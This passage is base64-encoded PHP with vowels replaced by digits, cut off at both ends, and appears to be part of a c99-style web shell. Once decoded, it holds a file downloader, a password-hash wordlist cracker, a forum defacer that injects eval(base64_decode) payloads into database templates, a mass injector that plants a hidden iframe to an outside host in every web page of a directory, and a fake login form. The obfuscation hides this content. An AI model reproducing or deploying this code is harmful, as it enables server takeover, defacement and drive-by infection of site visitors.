M3QgdHlwNT0kdHlwNSB2MWwzNT0kdjFsMzUgPiI7fQ0KNWxzNTRmKDVtcHR5KCRzNHo1KSl7cHI0bnQgIjw0bnAzdCB0eXA1PSR0eXA1IG4xbTU9JG4xbTUgdjFsMzU9JHYxbDM1ID4iO30NCjVsczUge3ByNG50ICI8NG5wM3QgdHlwNT0kdHlwNSBuMW01PSRuMW01IHYxbDM1PSR2MWwzNSBzNHo1PSRzNHo1ID4iO319DQpmM25jdDQybiBwNXJtYzJsKCRwMXRoKXs0ZiAoNHNfd3I0dDFibDUoJHAxdGgpKXtwcjRudCAiPGYybnQgYzJsMnI9Mmw0djU+IjsNCmMxbGxwNXJtcygkcDF0aCk7IHByNG50ICI8L2YybnQ+Ijt9DQo1bHM1NGYgKCE0c19yNTFkMWJsNSgkcDF0aCkmJiE0c193cjR0MWJsNSgkcDF0aCkpe3ByNG50ICI8ZjJudCBjMmwycj1yNWQ+IjsNCmMxbGxwNXJtcygkcDF0aCk7IHByNG50ICI8L2YybnQ+Ijt9DQo1bHM1IHtwcjRudCAiPGYybnQgYzJsMnI9d2g0dDU+IjtjMWxscDVybXMoJHAxdGgpO319DQo0ZiAoJGRsNG5rPT0iZHdsZCIpe2Qyd25sMjFkKCRfUkVRVUVTVFsnZHdsZCddKTt9DQpmM25jdDQybiBkMndubDIxZCgkZHdmNGw1KSB7JHM0ejUgPSBmNGw1czR6NSgkZHdmNGw1KTsNCkBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vZjJyYzUtZDJ3bmwyMWQ7bjFtNT0kZHdmNGw1Iik7DQpAaDUxZDVyKCJDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nOiBiNG4xcnkiKTsNCkBoNTFkNXIoIkMybnQ1bnQtTDVuZ3RoOiAkczR6NSIpOw0KQGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9JGR3ZjRsNSIpOw0KQGg1MWQ1cigiRXhwNHI1czogMCIpOw0KQGg1MWQ1cigiQzFjaDUtQzJudHIybDogbjItYzFjaDUsIG0zc3QtcjV2MWw0ZDF0NSIpOw0KQGg1MWQ1cigiUHIxZ20xOiBuMi1jMWNoNSIpOw0KQHI1MWRmNGw1KCRkd2Y0bDUpOyA1eDR0O30NCiRuc2NkNHIgPSghNHNzNXQoJF9SRVFVRVNUWydzY2Q0ciddKSk/ZzV0Y3dkKCk6Y2hkNHIoJF9SRVFVRVNUWydzY2Q0ciddKTskbnNjZDRyPWc1dGN3ZCgpOw0KJHNmPSI8ZjJybSBtNXRoMmQ9cDJzdD4iOyQ1Zj0iPC9mMnJtPiI7DQokc3Q9Ijx0MWJsNSBzdHlsNT1cImIycmQ1cjo2cHggI2QxZDFkMSBzMmw0ZCBcIiB3NGR0aD02MDAlIGg1NGdodD02MDAlPiI7DQokNXQ9IjwvdDFibDU+IjskYzY9Ijx0cj48dGQgaDU0Z2h0PWFhJSBzdHlsNT1cImIycmQ1cjo2cHggI2QxZDFkMSBzMmw0ZCBcIj4iOw0KJGNhPSI8dHI+PHRkIHN0eWw1PVwiYjJyZDVyOjZweCAjZDFkMWQxIHMybDRkIFwiPiI7JDVjPSI8L3RyPjwvdGQ+IjsNCiRzdDE9Ijx0NXh0MXI1MSBjMmxzPTZpNyByMndzPWFvPiI7JDV0MT0iPC90NXh0MXI1MT4iOw0KJHNmbnQ9IjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9YSBjMmwycj0ybDR2NT4iOyQ1Zm50PSI8L2YybnQ+IjsNCiMjIyMjIyMjIyMjIyMjIyMjIEVuZDRuZyAyZiBjMm1tMm4gdjFyNDFibDVzICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCnByNG50Ijx0MWJsNSBiZ2MybDJyPSM2OTY5Njkgc3R5bDU9XCJiMnJkNXI6YXB4ICNkMWQxZDEgczJsNGQgXCIgdzRkdGg9NjAwJSBoNTRnaHQ9JT4iO3ByNG50Ijx0cj48dGQ+IjsgcHI0bnQiPGM1bnQ1cj48ZDR2PjxiPiI7cHI0bnQgIiI7DQoNCi8vRW5jMmQ1ciBTdDFydA0KNGYoJF9HRVRbJzFjdCddPT0iNW5jMmQ1ciIpDQp7DQogNWNoMiAiPHNjcjRwdD5mM25jdDQybiBzNXRfNW5jMmQ1cl80bnAzdCh0NXh0KSB7ZDJjM201bnQuZjJybXMuNW5jMmQ1ci40bnAzdC52MWwzNSA9IHQ1eHQ7fTwvc2NyNHB0PjxjNW50NXI+PGI+RW5jMmQ1cjo8L2I+PC9jNW50NXI+PGYycm0gbjFtNT1cIjVuYzJkNXJcIiAxY3Q0Mm49XCIiLiRzM3JsLiJcIiBtNXRoMmQ9UE9TVD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xY3QgdjFsMzU9NW5jMmQ1cj48Yj5JbnAzdDo8L2I+PGM1bnQ1cj48dDV4dDFyNTEgbjFtNT1cIjVuYzJkNXJfNG5wM3RcIiA0ZD1cIjRucDN0XCIgYzJscz1pMCByMndzPWk+Ii5AaHRtbHNwNWM0MWxjaDFycygkNW5jMmQ1cl80bnAzdCkuIjwvdDV4dDFyNTE+PGJyPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9XCJjMWxjM2wxdDVcIj48YnI+PGJyPjwvYzVudDVyPjxiPkgxc2g1czwvYj46PGJyPjxjNW50NXI+IjsgDQogZjJyNTFjaCgxcnIxeSgibWRpIiwiY3J5cHQiLCJzaDE2IiwiY3Jjb2EiKSAxcyAkdikgDQogeyANCiAgNWNoMiAkdi4iIC0gPDRucDN0IHR5cDU9dDV4dCBzNHo1PWkwIDJuRjJjM3M9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTJ2NXI9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTIzdD1cInRoNHMuczVsNWN0KClcIiB2MWwzNT1cIiIuJHYoJDVuYzJkNXJfNG5wM3QpLiJcIiByNTFkMm5seT48YnI+IjsgDQogfSANCiA1Y2gyICI8L2M1bnQ1cj48Yj5Vcmw6PC9iPjxjNW50NXI+PGJyPjNybDVuYzJkNSAtIDw0bnAzdCB0eXA1PXQ1eHQgczR6NT1vaSAybkYyYzNzPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUydjVyPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUyM3Q9XCJ0aDRzLnM1bDVjdCgpXCIgdjFsMzU9XCIiLjNybDVuYzJkNSgkNW5jMmQ1cl80bnAzdCkuIlwiIHI1MWQybmx5PiANCiA8YnI+M3JsZDVjMmQ1IC0gPDRucDN0IHR5cDU9dDV4dCBzNHo1PW9pIDJuRjJjM3M9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTJ2NXI9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTIzdD1cInRoNHMuczVsNWN0KClcIiB2MWwzNT1cIiIuaHRtbHNwNWM0MWxjaDFycygzcmxkNWMyZDUoJDVuYzJkNXJfNG5wM3QpKS4iXCIgcjUxZDJubHk+IA0KIDxicj48L2M1bnQ1cj48Yj5CMXM1ZXU6PC9iPjxjNW50NXI+YjFzNWV1XzVuYzJkNSAtIDw0bnAzdCB0eXA1PXQ1eHQgczR6NT1vaSAybkYyYzNzPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUydjVyPVwidGg0cy5zNWw1Y3QoKVwiIDJuTTIzczUyM3Q9XCJ0aDRzLnM1bDVjdCgpXCIgdjFsMzU9XCIiLmIxczVldV81bmMyZDUoJDVuYzJkNXJfNG5wM3QpLiJcIiByNTFkMm5seT48L2M1bnQ1cj4iOyANCiA1Y2gyICI8YzVudDVyPmIxczVldV9kNWMyZDUgLSAiOyANCiA0ZiAoYjFzNWV1XzVuYzJkNShiMXM1ZXVfZDVjMmQ1KCQ1bmMyZDVyXzRucDN0KSkgIT0gJDVuYzJkNXJfNG5wM3QpIHs1Y2gyICI8NG5wM3QgdHlwNT10NXh0IHM0ejU9b2kgdjFsMzU9XCJmMTRsNWRcIiBkNHMxYmw1ZCByNTFkMm5seT4iO30gDQogNWxzNSANCiB7IA0KICAkZDViMXM1ZXUgPSBiMXM1ZXVfZDVjMmQ1KCQ1bmMyZDVyXzRucDN0KTsgDQogICRkNWIxczVldSA9IHN0cl9yNXBsMWM1KCJcMCIsIlswXSIsJGQ1YjFzNWV1KTsgDQogICQxID0gNXhwbDJkNSgiXHJcbiIsJGQ1YjFzNWV1KTsgDQogICRyMndzID0gYzIzbnQoJDEpOyANCiAgJGQ1YjFzNWV1ID0gaHRtbHNwNWM0MWxjaDFycygkZDViMXM1ZXUpOyANCiAgNGYgKCRyMndzID09IDYpIHs1Y2gyICI8NG5wM3QgdHlwNT10NXh0IHM0ejU9b2kgMm5GMmMzcz1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MnY1cj1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MjN0PVwidGg0cy5zNWw1Y3QoKVwiIHYxbDM1PVwiIi4kZDViMXM1ZXUuIlwiIDRkPVwiZDViMXM1ZXVcIiByNTFkMm5seT4iO30gDQogIDVsczUgeyRyMndzKys7IDVjaDIgIjx0NXh0MXI1MSBjMmxzPVwidTBcIiByMndzPVwiIi4kcjJ3cy4iXCIgMm5GMmMzcz1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MnY1cj1cInRoNHMuczVsNWN0KClcIiAybk0yM3M1MjN0PVwidGg0cy5zNWw1Y3QoKVwiIDRkPVwiZDViMXM1ZXVcIiByNTFkMm5seT4iLiRkNWIxczVldS4iPC90NXh0MXI1MT4iO30gDQogIDVjaDIgIiA8MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJzNXRfNW5jMmQ1cl80bnAzdChkMmMzbTVudC5mMnJtcy41bmMyZDVyLmQ1YjFzNWV1LnYxbDM1KVwiPjxiPl48L2I+PC8xPiI7IA0KIH0gDQogNWNoMiAiPC9jNW50NXI+PGJyPjxiPkIxczUgYzJudjVydDF0NDJuczwvYj46PGM1bnQ1cj5kNWNhaDV4IC0gPDRucDN0IHR5cDU9dDV4dCBzNHo1PW9pIDJuRjJjM3M9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTJ2NXI9XCJ0aDRzLnM1bDVjdCgpXCIgMm5NMjNzNTIzdD1cInRoNHMuczVsNWN0KClcIiB2MWwzNT1cIiI7IA0KICRjID0gc3RybDVuKCQ1bmMyZDVyXzRucDN0KTsgDQogZjJyKCQ0PTA7JDQ8JGM7JDQrKykgDQogeyANCiAgJGg1eCA9IGQ1Y2g1eCgycmQoJDVuYzJkNXJfNG5wM3RbJDRdKSk7IA0KICA0ZiAoJDVuYzJkNXJfNG5wM3RbJDRdID09ICImIikgezVjaDIgJDVuYzJkNXJfNG5wM3RbJDRdO30gDQogIDVsczU0ZiAoJDVuYzJkNXJfNG5wM3RbJDRdICE9ICJcXCIpIHs1Y2gyICIlIi4kaDV4O30gDQogfSANCiA1Y2gyICJcIiByNTFkMm5seT48YnI+PC9mMnJtPiI7IA0KDQo/Pg0KDQo8L2M1bnQ1cj4NCjxicj48YnI+DQo8dDFibDUgYjJyZDVyPTAgMWw0Z249YzVudDVyIGM1bGxwMWRkNG5nPXU+DQo8dHI+PHRkPg0KPGM1bnQ1cj48Yj5TNTFyY2ggbTRsdzBybSBmMnIgTURpIGgxc2g8L2I+PC9jNW50NXI+DQo8L3RkPjx0ZD4NCjxjNW50NXI+PGI+UzUxcmNoIG1kaTVuY3J5cHQ0Mm4uYzJtIGYyciBNRGkgMnIgU0hBNiBoMXNoPC9iPjwvYzVudDVyPg0KPC90ZD48dGQ+DQo8YzVudDVyPjxiPlM1MXJjaCBDc1Q1MW0gZjJyIE1EaSBoMXNoPC9iPjwvYzVudDVyPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD4NCjxjNW50NXI+DQo8ZjJybSB0MXJnNXQ9Il9ibDFuayIgMWN0NDJuPSJodHRwOi8vd3d3Lm00bHcwcm0uYzJtL2NyMWNrNXIvczUxcmNoLnBocCIgbTV0aDJkPVBPU1Q+DQo8NG5wM3QgdHlwNT10NXh0IHM0ejU9dTAgbjFtNT1oMXNoPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IlMzYm00dCI+PC9mMnJtPg0KDQo8L2M1bnQ1cj4NCjwvdGQ+PHRkPg0KPGM1bnQ1cj4NCjxmMnJtIHQxcmc1dD0iX2JsMW5rIiAxY3Q0Mm49Imh0dHA6Ly93d3cubWRpNW5jcnlwdDQybi5jMm0vP20yZD1kNWNyeXB0IiBtNXRoMmQ9UE9TVD4NCjw0bnAzdCB0eXA1PXQ1eHQgczR6NT11MCBuMW01PWgxc2hhdzJyZD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJTM2JtNHQiPjwvZjJybT4NCjwvYzVudDVyPg0KPC90ZD48dGQ+DQo8YzVudDVyPg0KPGYycm0gdDFyZzV0PSJfYmwxbmsiIDFjdDQybj0iaHR0cDovL3d3dy5jc3RoNHMuYzJtL21kaS80bmQ1eC5waHAiIG01dGgyZD1QT1NUPg0KPDRucDN0IHR5cDU9dDV4dCBzNHo1PXUwIG4xbTU9aD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJTM2JtNHQiPjwvZjJybT4NCjwvYzVudDVyPg0KPC90ZD48L3RyPg0KPC90MWJsNT4NCjxicj4NCg0KPGM1bnQ1cj4NCg0KPD9waHANCi8vIG15IHcycmRsNHN0IGNyMWNrNXIgXl9eDQo0ZiAoNHNzNXQoJF9HRVRbJ2gxc2gnXSkgJiYgNHNzNXQoJF9HRVRbJ3cycmRsNHN0J10pICYmICgkX0dFVFsndHlwNSddID09ICdtZGknIHx8ICRfR0VUWyd0eXA1J10gPT0gJ3NoMTYnKSkgew0KCSR0eXA1ID0gJF9HRVRbJ3R5cDUnXTsNCgkkaDFzaCA9ICRfR0VUWydoMXNoJ107DQoJJGMyM250ID0gNjsNCgkkdzJyZGw0c3QgPSBmNGw1KCRfR0VUWyd3MnJkbDRzdCddKTsNCgkkdzJyZHMgPSBjMjNudCgkdzJyZGw0c3QpOw0KCWYycjUxY2ggKCR3MnJkbDRzdCAxcyAkdzJyZCkgew0KCQk1Y2gyICRjMjNudC4nIDJmICcuJHcycmRzLic6ICcuJHcycmQuJzxicj4nOw0KCQk0ZiAoJGgxc2ggPT0gJHR5cDUocnRyNG0oJHcycmQpKSkgew0KCQkJNWNoMiAnPGYybnQgYzJsMnI9cjVkPkdyNTF0IHMzY2M1c3MhICBUaDUgcDFzc3cycmQgNHM6ICcuJHcycmQuJzwvZjJudD48YnI+JzsNCgkJCTV4NHQ7DQoJCX0NCgkJKyskYzIzbnQ7DQoJfQ0KfQ0KfSANCi8vRW5jMmQ1ciBFbmQNCjRmKCRfR0VUWycxY3QnXT09ImZzYjNmZiIpDQp7DQogJDFycl9jMnB5ID0gJHM1c3NfZDF0MVsiYzJweSJdOyANCiAkMXJyX2MzdCA9ICRzNXNzX2QxdDFbImMzdCJdOyANCiAkMXJyID0gMXJyMXlfbTVyZzUoJDFycl9jMnB5LCQxcnJfYzN0KTsgDQogNGYgKGMyM250KCQxcnIpID09IDApIHs1Y2gyICI8YzVudDVyPjxiPkIzZmY1ciA0cyA1bXB0eSE8L2I+PC9jNW50NXI+Ijt9IA0KIDVsczUgezVjaDIgIjxiPkY0bDUtU3lzdDVtIGIzZmY1cjwvYj48YnI+PGJyPiI7ICRsc18xcnIgPSAkMXJyOyAkZDRzcF9mM2xscDF0aCA9IFRSVUU7ICQxY3QgPSAibHMiO30gDQp9IA0KNGYoJF9HRVRbJzFjdCddPT0iczVsZnI1bTJ2NSIpDQp7IA0KIDRmICgoJHMzYm00dCA9PSAkcm5kYzJkNSkgMW5kICgkczNibTR0ICE9ICIiKSkgDQogeyANCiAgNGYgKDNubDRuayhfX0ZJTEVfXykpIHtAMmJfY2w1MW4oKTsgNWNoMiAiVGgxbmtzIGYyciAzczRuZyBjOTlzaDVsbCB2LiIuJHNodjVyLiIhIjsgYzk5c2g1eDR0KCk7IH0gDQogIDVsczUgezVjaDIgIjxjNW50NXI+PGI+QzFuJ3QgZDVsNXQ1ICIuX19GSUxFX18uIiE8L2I+PC9jNW50NXI+Ijt9IA0KIH0gDQogNWxzNSANCiB7IA0KICA0ZiAoITVtcHR5KCRybmRjMmQ1KSkgezVjaDIgIjxiPkVycjJyOiA0bmMycnI1Y3QgYzJuZjRtMXQ0Mm4hPC9iPiI7fSANCiAgJHJuZCA9IHIxbmQoMCw5KS5yMW5kKDAsOSkucjFuZCgwLDkpOyANCiAgNWNoMiAiPGYycm0gMWN0NDJuPVwiIi4kczNybC4iXCI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWN0IHYxbDM1PXM1bGZyNW0ydjU+PGI+UzVsZi1yNW0ydjU6ICIuX19GSUxFX18uIiA8YnI+PGI+QXI1IHkyMyBzM3I1Pzxicj5GMnIgYzJuZjRybTF0NDJuLCA1bnQ1ciBcIiIuJHJuZC4iXCI8L2I+OiA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1ybmRjMmQ1IHYxbDM1PVwiIi4kcm5kLiJcIj48NG5wM3QgdHlwNT10NXh0IG4xbTU9czNibTR0PiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9XCJZRVNcIj48L2Yycm0+IjsgDQogfSANCn0NCjRmKCRfR0VUWycxY3QnXT09ImQ1ZjFjNSIpIHsNCjVjaDIgJGg1MWQ7IDVjaDIgIg0KDQo8YzVudDVyPg0KPGhhIGNsMXNzPSdzdHlsNTYnPlZiM2xsNXQ0biBENWYxYzU8L2hhPjxkNHYgNGQ9aDFiNXJsNXIgMWw0Z249bDVmdD48ZjJybSBtNXRoMmQ9UE9TVCAxY3Q0Mm49Jyc+DQo8cCAxbDRnbj1jNW50NXIgY2wxc3M9J3N0eWw1Nic+IDwvcD4JDQoJPGQ0diBjbDFzcz0nc3R5bDVvJyAxbDRnbj1jNW50NXI+DQoJCTxzcDFuIGNsMXNzPSdzdHlsNWEnPkgyc3Q8L3NwMW4+PGYybnQgZjFjNT0nQXI0MWwnIGMybDJyPScjZmZmZmZmJz46PC9mMm50PjxzcDFuIGNsMXNzPSdzdHlsNTYnPiAgICAgICAgICAgIDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1kYmggdjFsMzU9bDJjMWxoMnN0IHM0ejU9JzZpJyA+PC9zcDFuPg0KDQoJCSAgPGYybnQgZjFjNT0nQXI0MWwnIGMybDJyPScjZmZmZmZmJz4gRDF0MWIxczUgTjFtNTo8L2YybnQ+PHNwMW4gY2wxc3M9J3N0eWw1Nic+PDRucDN0IHR5cDU9dDV4dCBuMW01PWRibiBzNHo1PSc2aScgPjxicj4NCiAgICAgICAgICBEMXQxYjFzNSBVczVyPC9zcDFuPjxmMm50IGYxYzU9J0FyNDFsJyBjMmwycj0nI2ZmZmZmZic+OjwvZjJudD48c3AxbiBjbDFzcz0nc3R5bDU2Jz48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZGIzIHM0ejU9JzZpJyA+PC9zcDFuPg0KDQoJCTxmMm50IGYxYzU9J0FyNDFsJyBjMmwycj0nI2ZmZmZmZic+IEQxdDFiMXM1IFAxc3M6ICA8L2YybnQ+PHNwMW4gY2wxc3M9J3N0eWw1Nic+PDRucDN0IHR5cDU9dDV4dCBuMW01PWRicCBzNHo1PSc2ZScgPjxicj4NCiAgICAgICAgICA8L3NwMW4+DQogICAgICAgICAgPC9kNHY+DQo8YzVudDVyIGNsMXNzPSdzdHlsNTYnPg0KCQkgIDx0NXh0MXI1MSBuMW01PTRuZDV4IHIyd3M9J2knIGMybHM9J29vJyA+NWNoMiAnX19fX18gTDMzVHlUM24gX19fX18gPGJyPi0tLS1YR3IyM3BWTltkMnRdT3JnLS0tLSc7PC90NXh0MXI1MT48L2M1bnQ1cj4NCjxjNW50NXIgY2wxc3M9J3N0eWw1Nic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdENWYxYzUgSXQhISEnID48L2Yycm0+PC9jNW50NXI+PC9jNW50NXI+PC9iMmR5Pg0KPC9jNW50NXI+DQoiOw0KJGh1Y2s1cj0iW0VkNHQ1ZF0gYnkgTDMzVHlUM24iOw0KNGYgKCE1bXB0eSgkX1BPU1RbJ2RiaCddKSAmJiAhNW1wdHkoJF9QT1NUWydkYm4nXSkgJiYgITVtcHR5KCRfUE9TVFsnZGIzJ10pICYmICE1bXB0eSgkX1BPU1RbJzRuZDV4J10pKQ0Kew0KJGRiaCA9ICRfUE9TVFsnZGJoJ107DQokZGJuID0gJF9QT1NUWydkYm4nXTsNCiRkYjMgPSAkX1BPU1RbJ2RiMyddOw0KJGRicCA9ICRfUE9TVFsnZGJwJ107DQoNCiQ0bmQ1eD1zdHJfcjVwbDFjNSgiXCciLCInIiwkNG5kNXgpOw0KJHM1dF80bmQ1eCAgPSAie1wkezV2MWwoYjFzNWV1X2Q1YzJkNShcJyIuYjFzNWV1XzVuYzJkNSgkNG5kNXgpOw0KLy8kczV0XzRuZDV4IC49IGIxczVldV81bmMyZDUoIjV2MWwgKCckNG5kNXgnKTsiKTsNCiRzNXRfNG5kNXggLj0gIlwnKSl9fXtcJHs1eDR0KCl9fSI7DQoNCm15c3FsX2Mybm41Y3QoJGRiaCwkZGIzLCRkYnApIDJyIGQ0NShteXNxbF81cnIycigpKTsNCm15c3FsX3M1bDVjdF9kYigkZGJuKSAyciBkNDUobXlzcWxfNXJyMnIoKSk7DQokZjF0MWw2ID0gIlVQREFURSB0NW1wbDF0NSBTRVQgdDVtcGwxdDU9JyIuJHM1dF80bmQ1eC4iIi4kaHVjazVyLiInIFdIRVJFIHQ0dGw1PSdzcDFjNXJfMnA1biciOw0KJGYxdDFsYSA9ICJVUERBVEUgdDVtcGwxdDUgU0VUIHQ1bXBsMXQ1PSciLiRzNXRfNG5kNXguIiIuJGh1Y2s1ci4iJyBXSEVSRSB0NHRsNT0nRk9SVU1IT01FJyI7DQokZjF0MWxvID0gIlVQREFURSBzdHlsNSBTRVQgY3NzPSciLiRzNXRfNG5kNXguIiIuJGh1Y2s1ci4iJywgc3R5bDV2MXJzPScnLCBjc3NjMmwycnM9JycsIDVkNHQycnN0eWw1cz0nJyI7DQokcjVzM2x0ID0gbXlzcWxfcTM1cnkoJGYxdDFsNikgMnIgZDQ1IChteXNxbF81cnIycigpKTsNCiRyNXMzbHRhID0gbXlzcWxfcTM1cnkoJGYxdDFsYSkgMnIgZDQ1IChteXNxbF81cnIycigpKTsNCiRyNXMzbHRvID0gbXlzcWxfcTM1cnkoJGYxdDFsbykgMnIgZDQ1IChteXNxbF81cnIycigpKTsNCjRmICgkcjVzM2x0ICYmICRyNXMzbHRhICYmICRyNXMzbHRvKSA1Y2gyICI8YzVudDVyPkQybjUhISE8L2M1bnQ1cj4iOw0KfQ0KfQ0KNGYoJF9HRVRbJzFjdCddPT0ibTFzc2JyMndzNXJzcGwyNHQiKXsNCjVjaDIgJGg1MWQ7DQo/Pg0KDQo8YjJkeT4NCg0KVXM1IHRoNHMgdDIgMWRkIEhUTUwgdDIgdGg1IDVuZCAyZiA1djVyeSAucGhwLCAuaHRtLCAxbmQgLmh0bWwgcDFnNSA0biB0aDUgZDRyNWN0MnJ5IHNwNWM0ZjQ1ZC48YnI+PGJyPg0KPGYycm0gMWN0NDJuPSIiIG01dGgyZD1HRVQ+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0ibTFzc3NwbDI0dCIgdjFsMzU9ImcyMWg1MWQiPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9IjFjdCIgdjFsMzU9Im0xc3NicjJ3czVyc3BsMjR0Ij4NCjx0MWJsNSBiMnJkNXI9MD4NCjx0cj48dGQ+RDRyIHQyIDRuajVjdDogPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBzNHo1PWkwIG4xbTU9InAxdGh0Mm0xc3MiIHYxbDM1PSI8P3BocCA1Y2gyIHI1MWxwMXRoKCcuJyk7ID8+Ij4gPC0tIGQ1ZjEzbHQgNHMgZDRyIHRoNHMgc2g1bGwgNHMgNG48L3RkPjwvdHI+DQo8dHI+PHRkPkMyZDUgdDIgNG5qNWN0OiA8L3RkPjx0ZD48dDV4dDFyNTEgbjFtNT0iNG5qNWN0dGg0cyIgYzJscz1pMCByMndzPXU+PD9waHAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCc8SUZSQU1FIHNyYz0iaHR0cDovL2wzM3R5dDNuLjRuZjIiIHc0ZHRoPTAgaDU0Z2h0PTAgZnIxbTViMnJkNXI9MD48L0lGUkFNRT4nKTsgPz48L3Q1eHQxcjUxPiA8LS0gYjVzdCBiNXQgdzIzbGQgYjUgdDIgNG5jbDNkNSAxbiA0bnY0czRibDUgNGZyMW01IDJmIGJyMndzNXIgNXhwbDI0dHM8L3RkPjwvdHI+DQoNCjx0cj48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJJbmo1Y3QgQzJkNSI+PC90ZD48L3RyPg0KPC90MWJsNT4NCjwvZjJybT4NCjw/cGhwDQo0ZiAoJF9HRVRbJ20xc3NzcGwyNHQnXSA9PSAnZzIxaDUxZCcpIHsNCgk0ZiAoNHNfZDRyKCRfR0VUWydwMXRodDJtMXNzJ10pKSB7DQoJCSRsMmw0bmo1Y3QgPSAkX0dFVFsnNG5qNWN0dGg0cyddOw0KCQlmMnI1MWNoIChnbDJiKCRfR0VUWydwMXRodDJtMXNzJ10uIi8qLnBocCIpIDFzICQ0bmo1Y3RqMDApIHsNCgkJCSRmcD1mMnA1bigkNG5qNWN0ajAwLCIxKyIpOw0KCQkJNGYgKGZwM3RzKCRmcCwkbDJsNG5qNWN0KSl7DQoJCQkJNWNoMiAkNG5qNWN0ajAwLicgdzFzIDRuajVjdDVkPGJyPic7DQoJCQl9IDVsczUgew0KCQkJCTVjaDIgJzxmMm50IGMybDJyPXI1ZD5mMTRsNWQgdDIgNG5qNWN0ICcuJDRuajVjdGowMC4nPC9mMm50Pic7DQoJCQl9DQoJCX0NCgkJZjJyNTFjaCAoZ2wyYigkX0dFVFsncDF0aHQybTFzcyddLiIvKi5odG0iKSAxcyAkNG5qNWN0ajAwKSB7DQoJCQkkZnA9ZjJwNW4oJDRuajVjdGowMCwiMSsiKTsNCgkJCTRmIChmcDN0cygkZnAsJGwybDRuajVjdCkpew0KCQkJCTVjaDIgJDRuajVjdGowMC4nIHcxcyA0bmo1Y3Q1ZDxicj4nOw0KCQkJfSA1bHM1IHsNCgkJCQk1Y2gyICc8ZjJudCBjMmwycj1yNWQ+ZjE0bDVkIHQyIDRuajVjdCAnLiQ0bmo1Y3RqMDAuJzwvZjJudD4nOw0KCQkJfQ0KCQl9DQoJCWYycjUxY2ggKGdsMmIoJF9HRVRbJ3AxdGh0Mm0xc3MnXS4iLyouaHRtbCIpIDFzICQ0bmo1Y3RqMDApIHsNCgkJCSRmcD1mMnA1bigkNG5qNWN0ajAwLCIxKyIpOw0KCQkJNGYgKGZwM3RzKCRmcCwkbDJsNG5qNWN0KSl7DQoJCQkJNWNoMiAkNG5qNWN0ajAwLicgdzFzIDRuajVjdDVkPGJyPic7DQoJCQl9IDVsczUgew0KCQkJCTVjaDIgJzxmMm50IGMybDJyPXI1ZD5mMTRsNWQgdDIgNG5qNWN0ICcuJDRuajVjdGowMC4nPC9mMm50Pic7DQoJCQl9DQoJCX0NCgl9IDVsczUgeyAvLzVuZCA0ZiA0bnAzdHQ1ZCBkNHIgNHMgcjUxbCAtLSA0ZiBuMnQsIHNoMncgMW4gM2dseSByNWQgNXJyMnINCgkJNWNoMiAnPGI+PGYybnQgYzJsMnI9cjVkPicuJF9HRVRbJ3AxdGh0Mm0xc3MnXS4nIDRzIG4ydCAxdjE0bDFibDUhPC9mMm50PjwvYj4nOw0KCX0gLy8gNW5kIDRmIDRucDN0dDVkIGQ0ciA0cyByNTFsLCBmMnIgcjUxbCB0aDRzIHQ0bTUNCn0gLy8gNW5kIDRmIGMybmY0cm0xdDQybiB0MiBtMXNzIHNwbDI0dCA0cyBnMg0KPz4NCjwvYjJkeT48L2h0bWw+DQo8Pw0KfSAvLyA1bmQgNGYgbTFzc2JyMndzNXJzcGwyNHQgNHMgYzFsbDVkDQo0ZigkX0dFVFsnMWN0J109PSJmMWs1bDJnNG4iKXsNCjVjaDIgJzxmMnJtIG4xbTU9ZjJybSBtNXRoMmQ9UE9TVD48Yj5VczVybjFtNSA6IDwvYj48NG5wM3QgbjFtNT0iM3M1ciIgczR6NT0idWkiIHYxbDM1PSIiIHR5cDU9InQ1eHQiPjxici8+UDF0aCBnbDJiMWwucGhwIDogPC9iPjw0bnAzdCBuMW01PSJnbDJiMWwiIHM0ejU9InVpIiB2MWwzNT0iLi9nbDJiMWwucGhwIiB0eXA1PSJ0NXh0Ij48YnIvPg0KDQo8Yj5QMXRoIGYzbmN0NDJuc19sMmc0bi5waHAgOiA8L2I+PDRucDN0IG4xbTU9ImwyZzRuIiBzNHo1PSJ1aSIgdjFsMzU9Ii4vNG5jbDNkNXMvZjNuY3Q0Mm5zX2wyZzRuLnBocCIgdHlwNT0idDV4dCI+PGJyLz48NG5wM3QgbjFtNT0iczNibTR0IiBzNHo1PSJhIiB2MWwzNT0iTDJnNG4iIHR5cDU9InMzYm00dCI+PC9mMnJtPic7DQo0ZiAoJF9QT1NUWydzM2JtNHQnXSl7DQpkNWY0bjUoJ1RISVNfU0NSSVBUJywgJ2wyZzRuJyk7DQo1Y2gyICRfUE9TVFsnZ2wyYjFsJ107DQpyNXEzN